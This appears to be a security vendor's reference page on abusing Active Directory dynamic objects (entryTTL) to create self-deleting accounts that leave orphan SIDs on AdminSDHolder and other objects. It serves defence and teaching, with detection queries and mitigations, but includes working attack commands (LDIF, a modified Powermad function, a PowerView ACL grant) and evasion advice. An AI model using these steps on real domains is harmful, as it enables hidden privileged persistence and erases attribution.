1. Resources
  2. Identity Threats
  3. Active Directory

Dynamic Objects (dynamicObject) Abuse and Orphan SIDs

Also known as: AD dynamic objects anti-forensics, entryTTL abuse, Self-deleting AD accounts, Orphan SID on AdminSDHolder, dynamicObject abuse

An attacker creates Active Directory accounts or groups with a time-to-live, uses them, and lets the directory delete them without a tombstone, leaving only an unresolvable SID.

Platform
Active Directory
Impact
Medium
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Any authenticated identity
The right to create an object: any user for a computer while ms-DS-MachineAccountQuota is above 0. Granting the object rights on AdminSDHolder also needs write access to that DACL.
What the attacker gains
A principal that acts and then vanishes with no tombstone, no Recycle Bin entry and no creator attribute, which breaks attribution of the changes it made or received.
Threat groups
HAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREAgriusAPT3APT42APT5Aquatic PandaBlackByteChimeraCinnamon Tempestand 15 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1098, T1136.002, T1070, T1078.002.

How it works

Active Directory supports entries with a limited lifetime. An object created with the auxiliary class dynamicObject carries a time-to-live in entryTTL, in seconds, and the directory removes the object when the time reaches zero. The feature was designed for applications that store short-lived data and do not want to clean it up themselves. A client keeps its entry alive by refreshing the TTL.

The properties that matter for an attacker are in the deletion:

  • An expired dynamic object leaves no tombstone. It does not enter the Recycle Bin and cannot be restored or examined afterwards.
  • The directory removes linked references to it, such as group membership, but keeps nonlinked references. A SID inside another object's security descriptor, a primaryGroupID value or the text of a gPLink are nonlinked and survive.
  • Expiry is carried out by garbage collection on each replica, not by an administrator. A deletion audit event that names an actor should not be expected.

Any class can be dynamic if the class is added when the object is created. A static object cannot be converted, and dynamic objects are not supported in the Configuration and Schema partitions. Every child of a dynamic object must be dynamic too, and a parent is not collected while it has children, so a later-expiring child keeps its parent alive.

entryTTL is a constructed attribute; the real deadline is stored as an absolute time in msDS-Entry-Time-To-Die. Two forest-wide settings bound the lifetime: the default TTL (86,400 seconds) used when the creator gives none, and the minimum TTL (900 seconds), the shortest lifetime the forest accepts by default.

Used offensively, this gives a principal that exists only while it is needed:

  • Self-deleting computer account. Any user can create computer accounts while ms-DS-MachineAccountQuota is above 0. A dynamic one frees its quota slot and erases its msDS-CreatorSID attribution when it expires.
  • Orphan SID on a protected ACL. The attacker grants a short-lived principal rights on AdminSDHolder or another sensitive object, uses them, and lets the principal expire. SDProp, which runs on the PDC emulator every 60 minutes by default, copies the template's entry to every protected account and group. What remains is an entry for an unknown SID, with no object left to show who it was.
  • Hidden membership. A dynamic security group made the primary group of a user gives membership that does not appear in memberOf. When the group expires the user is left with a primaryGroupID that points to nothing.
  • Short-lived DNS records and GPOs. A dynamic dnsNode gives ADIDNS poisoning a record that removes itself, and a dynamic group policy container leaves only a broken gPLink after the clients have applied it (see GPO abuse).

The AdminSDHolder mechanism itself is described on the AdminSDHolder backdoor page.

Prerequisites

  • A right to create objects somewhere in a domain or application partition. For a computer, the default machine account quota is enough; for a user or group, create-child rights on a container or OU.
  • For the orphan SID variant: write access to the DACL of the object that will hold the entry (WriteDacl, ownership or full control). On AdminSDHolder that is normally limited to Domain Admins and equivalents, so this variant is persistence and anti-forensics after compromise, not an escalation.
  • For the primary group variant: write access to primaryGroupID on the target user and membership rules that allow the change.
  • Time. The object must live long enough to be used, and for the AdminSDHolder case long enough for SDProp to run if the attacker wants the entry propagated.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the forest's TTL limits

$config = (Get-ADRootDSE).configurationNamingContext
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$config" -Properties 'msDS-Other-Settings' |
    Select-Object -ExpandProperty 'msDS-Other-Settings'

Look for DynamicObjectDefaultTTLSeconds and DynamicObjectMinTTLSeconds. When they are absent the defaults apply.

2. Create a dynamic principal

The object must name dynamicObject among its classes in the add request. With rights to create a group, an LDIF file imported with ldifde is enough:

dn: CN=tmp-ops,OU=Groups,DC=corp,DC=example,DC=com
changetype: add
objectClass: group
objectClass: dynamicObject
entryTTL: 3600
sAMAccountName: tmp-ops
ldifde -i -f dynamic-group.ldf -s DC01.corp.example.com

For a computer account created through the machine account quota, Powermad's New-MachineAccount builds the LDAP add request itself. Changing the line that sets objectClass so that it lists both classes, and adding a TTL, makes the account dynamic:

# Inside New-MachineAccount, replace the objectClass attribute of the add request
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass", "dynamicObject", "Computer")) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "entryTTL", "3600")) > $null
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount WS-TEMP01

3. Confirm the lifetime and record the SID

Get-ADObject -LDAPFilter '(objectClass=dynamicObject)' `
    -Properties entryTTL, 'msDS-Entry-Time-To-Die', objectSid, whenCreated |
    Select-Object DistinguishedName, entryTTL, 'msDS-Entry-Time-To-Die', objectSid

To keep the object longer, refresh the TTL before it expires:

Set-ADObject -Identity 'CN=WS-TEMP01,CN=Computers,DC=corp,DC=example,DC=com' -Replace @{entryTTL = 3600}

4. Give the principal its rights and use them

With control of the AdminSDHolder DACL, PowerView grants the temporary principal full control of the template:

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com" `
    -PrincipalIdentity 'WS-TEMP01$' -Rights All -Verbose

After the next SDProp run every protected account and group carries the same entry. The attacker authenticates as the temporary account and uses the right, for example to add a member to a protected group or to grant another account a quieter right.

5. Let it expire

Nothing more is needed. When the TTL runs out, garbage collection removes the object on each domain controller. The entries that named it remain, shown as a bare SID:

(Get-Acl "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com").Access |
    Where-Object { $_.IdentityReference -match '^S-1-5-21-' } |
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

Impact

The technique does not grant anything by itself. Its effect is on what defenders can reconstruct. A normal rogue account can be found, read and attributed after the fact: its creator, creation time, password changes and group history are in the directory or in the Recycle Bin. A dynamic one takes all of that with it.

The residue is still dangerous in two ways. An entry on AdminSDHolder is re-applied to every protected object for as long as it stays in the template, and an entry for an unknown SID is easy to dismiss as leftover from a deleted account, which makes it a durable shadow admin path if the attacker has also planted a principal that lasts. And changes the temporary principal made while it lived (memberships, password resets, other ACL entries) stay in place under an identity that no longer exists.

Dynamic accounts can also create gaps outside the directory. Synchronization engines that learn about deletions from tombstones may never see a dynamic account disappear, which can leave its synchronized copy behind.

OPSEC and artifacts

  • Short TTL. A lifetime near the forest minimum limits the window in which the object can be found. While it lives it is an ordinary object: any LDAP query can read it, msDS-CreatorSID on a computer names the unprivileged creator, and replication metadata shows where and when it was written.
  • Creation is audited like any other creation. Event 4741 records a new computer account with its SID and the creating subject, and event 5137 records object creation where a SACL applies. Both survive in the log after the object is gone, but 5137 reports the structural class, so it does not show that the object was dynamic.
  • Expiry is quiet. The countdown changes no stored attribute and writes no modification event. Do not rely on event 5141 to mark the disappearance.
  • The ACL write is loud. Changing the DACL of AdminSDHolder writes event 5136 for nTSecurityDescriptor where the object is audited, and SDProp then changes every protected object.
  • Replica timing. Each domain controller collects expired objects on its own schedule, so an object can be visible on one replica for some minutes after it has gone from another.
  • Residue. Unresolvable SIDs in ACLs, a user whose primaryGroupID matches no group, a gPLink to a GPO that does not exist, and cached DNS answers for a record that is no longer in the zone.

Detection

  • Hunt for live dynamic objects. Legitimate use is rare in most forests. Query every naming context on every domain controller, including the DNS application partitions:
(Get-ADForest).Domains | ForEach-Object {
  Get-ADDomainController -Filter * -Server $_ | ForEach-Object {
    $dc = $_.HostName
    (Get-ADRootDSE -Server $dc).namingContexts | ForEach-Object {
      Get-ADObject -Server $dc -LDAPFilter '(objectClass=dynamicObject)' -SearchBase $_ `
        -Properties entryTTL, 'msDS-Entry-Time-To-Die', 'msDS-CreatorSID', objectSid |
        Select-Object @{n='DC';e={$dc}}, DistinguishedName, entryTTL, 'msDS-Entry-Time-To-Die', 'msDS-CreatorSID', objectSid
    }
  }
}

For anything found, save the SID, GUID and repadmin /showobjmeta output at once.

  • Account creation followed by disappearance. Compare the SIDs in 4741 and other creation events with the directory. A SID that was created recently, has no object and has no deletion record is the pattern. The computer account creation rules flag accounts created by ordinary users.
  • Changes to the protected template. The AdminSDHolder modification rules and the privileged object DACL rules catch the write that plants the entry, whatever kind of principal it names.
  • Primary group changes. The primary group ID rules cover the hidden membership variant.
  • Orphan SIDs on Tier 0 objects. Review the DACLs of AdminSDHolder, the domain root and protected groups for entries whose trustee does not resolve, and decide each one against a stored baseline of SID to account bindings.
WindowsEvent
| where Provider == "Microsoft-Windows-Security-Auditing" and EventID in (5136, 5137)
| extend DN = tostring(EventData.ObjectDN), Attribute = tostring(EventData.AttributeLDAPDisplayName)
| where DN startswith "CN=AdminSDHolder,CN=System,"
    or Attribute in~ ("entryTTL", "msDS-Entry-Time-To-Die")
| project TimeGenerated, Computer, EventID, DN, Attribute,
    ObjectGuid = tostring(EventData.ObjectGUID), Subject = tostring(EventData.SubjectUserSid)

The entryTTL branch catches a refresh, where the object is covered by a SACL. It does not fire as the TTL counts down.

Mitigation

  • Set ms-DS-MachineAccountQuota to 0 and delegate computer creation to the accounts that join machines. This removes the one object type any user can create. The MachineAccountQuota guide covers the change.
  • Review create-child rights on OUs and containers, and on the DNS zones, class by class. Each delegated creation right is also a right to create a dynamic object of that class.
  • Protect and baseline AdminSDHolder. Limit who can modify the template and who can change the permissions that grant that authority, store its descriptor, and alert on any difference. After an incident, check protected objects as well as the template: a clean template does not clean entries already propagated.
  • Keep identity history outside the directory. Forward account creation events (4741, 4720, 4727 and the other group creation events) to the SIEM with enough retention, and keep periodic exports of SID, GUID and name. They are the only record of a dynamic principal after it expires.
  • Audit directory changes on Tier 0 objects. Enable Audit Directory Service Changes and Audit Computer Account Management on domain controllers and set SACLs on AdminSDHolder, the domain root and the DNS zones. The audit policy guide lists the settings.
  • Remove orphan entries deliberately. Before deleting an unknown SID from an ACL, confirm that it does not belong to a trusted domain that was unreachable at lookup time, then remove only that entry and compare the result with the baseline.

Detection rules for this attack

Log events to collect

FAQ

What is a dynamic object in Active Directory?

It is an object created with the auxiliary class dynamicObject. It has a time-to-live in the entryTTL attribute, counted in seconds, and the directory deletes it automatically when the time runs out unless a client refreshes it. Any object class can be made dynamic at creation, including users, groups and computers, but a static object cannot be converted later.

Why are dynamic objects useful to an attacker?

Because of how they are deleted. An expired dynamic object leaves no tombstone and does not go to the Recycle Bin, so its name, creator and timestamps cannot be recovered from the directory afterwards. References that are not linked attributes survive, so an access control entry granted to the object remains as an unresolvable SID that nobody can attribute.

How do you find dynamic objects before they expire?

Search every naming context on every domain controller for objects with objectClass dynamicObject and request entryTTL and msDS-Entry-Time-To-Die explicitly, because entryTTL is a constructed attribute that a normal query does not return. Record the object's SID, GUID and replication metadata immediately; after expiry only your own copy exists.

Is an unresolved SID in an ACL proof of this attack?

No. A SID also fails to resolve when the account was deleted normally, when it belongs to a trusted domain that is unreachable, or when the lookup was made in the wrong context. It is a lead: compare the SID with account creation events and earlier directory snapshots to find out which principal held it.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.